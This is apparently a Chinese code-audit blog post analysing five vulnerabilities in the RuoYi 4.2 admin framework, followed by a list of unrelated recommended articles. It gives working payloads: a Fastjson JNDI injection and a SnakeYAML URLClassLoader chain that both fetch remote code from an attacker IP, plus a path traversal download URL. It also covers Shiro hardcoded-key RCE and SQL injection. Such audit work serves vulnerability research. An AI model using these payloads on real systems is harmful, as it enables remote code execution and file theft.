【代码审计】RuoYi-4.2 五处安全问题分析

目录

Fastjson反序列化

Shiro反序列化

SQL注入

任意文件下载

定时任务命令执行


Fastjson反序列化

看到Fastjson版本号为1.2.60

全局搜.parseObject(

传参方式要注意一下,是对传入的Params先toJSONString,再parseObject

此外要过掉第一个if

GenConstants.TPL_TREE的值为"tree"

则要让genTable.getTplCategory()的值为"tree"

所以要这么设置下

validateEdit在/tool/gen/edit被调用

这个接口一眼顶真,锁定生成代码这部分功能点

先随便导入一个模块,点击编辑

成功抓上包

打入payload:

复制代码
params[@type]=org.apache.shiro.jndi.JndiObjectFactory&params[resourceName]=ldap://8.138.38.81:1338/#suibian

从1.2.25开始fastjson默认禁用autotype,方便起见我们改下代码

复制代码
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

此外jdk版本要小于8u121,Java 8u121+ 默认禁用了LDAP的远程代码加载

Shiro反序列化

存在shiro组件

依然硬编码密钥

勾选下AES GCM

成功RCE

SQL注入

项目用的是mybatis

全局搜${

后续过程和3.0版本的一致

【代码审计】RuoYi-3.0 三处安全问题分析

任意文件下载

/common/download路由被修了

/common.download/resource未做waf

但StringUtils.substringAfter截取Constants.RESOURCE_PREFIX之后的部分

即截取/profile后的部分

所以要这么构造

复制代码
/common/download/resource?resource=/profile/../../../../../../flag.txt

定时任务命令执行

关注定时任务功能点

本质是打个SPI

之前写过一篇文章:【Web】浅浅地聊SnakeYaml反序列化两条常见利用链

解析yaml用的是snakeyaml

复制代码
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://8.138.38.81:1337/yaml-payload.jar"]]]]')
相关推荐
小新讲网安18 分钟前
安全运营中心(SOC)建设实战:从SIEM到威胁狩猎全流程指南
网络·安全·web安全·网络安全·网安
xiaohaiAIgeo40 分钟前
【2026年】HG/T 20656-2024化工暖通空调设计规范:新版标准的变化与影响
java·前端·javascript·科普知识
小强库计算机毕业设计1 小时前
基于 Spring Boot + Vue3 的校园管理系统
java·spring boot·后端·项目实战·管理系统·技术分享·校园管理系统实战
霸道流氓气质1 小时前
Java中信号量(Semaphore):从本地到分布式
java·开发语言·分布式
怪奇云呼军1 小时前
G.711、Opus 和重采样会拖慢识别吗?闪电智能VoiceAgent 的音频入口怎么选
java·人工智能·python·算法·云计算·音视频
编程令我快乐1 小时前
maven部分构建参数讲解
java·maven
ZC跨境爬虫1 小时前
LeetCode 27. 移除元素(双指针详解 + Java Python 多解法对比)
java·python·leetcode
笨鸟先飞,勤能补拙2 小时前
Web 服务器与计算机网络全景原理
运维·服务器·前端·网络·人工智能·计算机网络·web安全
kisbad2 小时前
Day 036|OpenAI Agents SDK 快速开始:今天跑通第一个 Agent
java·前端·javascript
憧憬成为java架构高手的小白2 小时前
langchain4j框架学习
java